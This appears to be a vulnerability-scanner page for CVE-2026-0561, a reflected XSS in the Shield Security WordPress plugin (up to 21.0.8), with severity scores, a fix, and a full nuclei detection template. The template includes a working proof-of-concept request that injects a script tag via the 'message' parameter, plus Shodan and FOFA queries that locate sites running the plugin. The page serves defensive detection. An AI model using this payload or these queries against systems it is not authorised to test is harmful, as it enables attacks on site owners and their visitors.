Shield Security <= 21.0.8 - Unauthenticated Reflected XSS

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

52%of all CVEs are less likely

Readycheck to confirm it

Shield Security WordPress plugin <= 21.0.8 contains a reflected cross-site scripting caused by insufficient input sanitization and output escaping in the 'message' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.

Impact

Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.

Fix

Update to a version later than 21.0.8 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/?action=shield_action&ex=display_full_page_dynamic&render_slug=render_shield_wploginreplica_header&title=nuclei&message=%3Cscript%3Ealert…
Positive when: contains "<script>alert(document.domain)</script>" and "id=\"login\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-0561 -u <target>

The full check

id: CVE-2026-0561

info:
  name: Shield Security <= 21.0.8 - Unauthenticated Reflected XSS
  author: str4k3r
  severity: medium
  description: |
    Shield Security WordPress plugin <= 21.0.8 contains a reflected cross-site scripting caused by insufficient input sanitization and output escaping in the 'message' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.
  impact: |
    Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update to a version later than 21.0.8 or the latest available version.
  reference:
    - https://research.cleantalk.org/cve-2026-0561/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/cb49eb5f-c1ff-4440-8b53-c2515e65da27?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0561
  classification:
    cve-id: CVE-2026-0561
    epss-score: 0.00655
    epss-percentile: 0.51693
    cwe-id: CWE-79
    cvss-score: 6.1
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  metadata:
    vendor: wp-simple-firewall
    product: shield-security
    framework: wordpress
    verified: true
    max-request: 1
    shodan-query: http.html:"/wp-content/plugins/wp-simple-firewall/"
    fofa-query: body="/wp-content/plugins/wp-simple-firewall/"
  tags: cve,cve2026,wordpress,wp-plugin,shield-security,unauth,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=shield_action&ex=display_full_page_dynamic&render_slug=render_shield_wploginreplica_header&title=nuclei&message=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - 'id="login"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from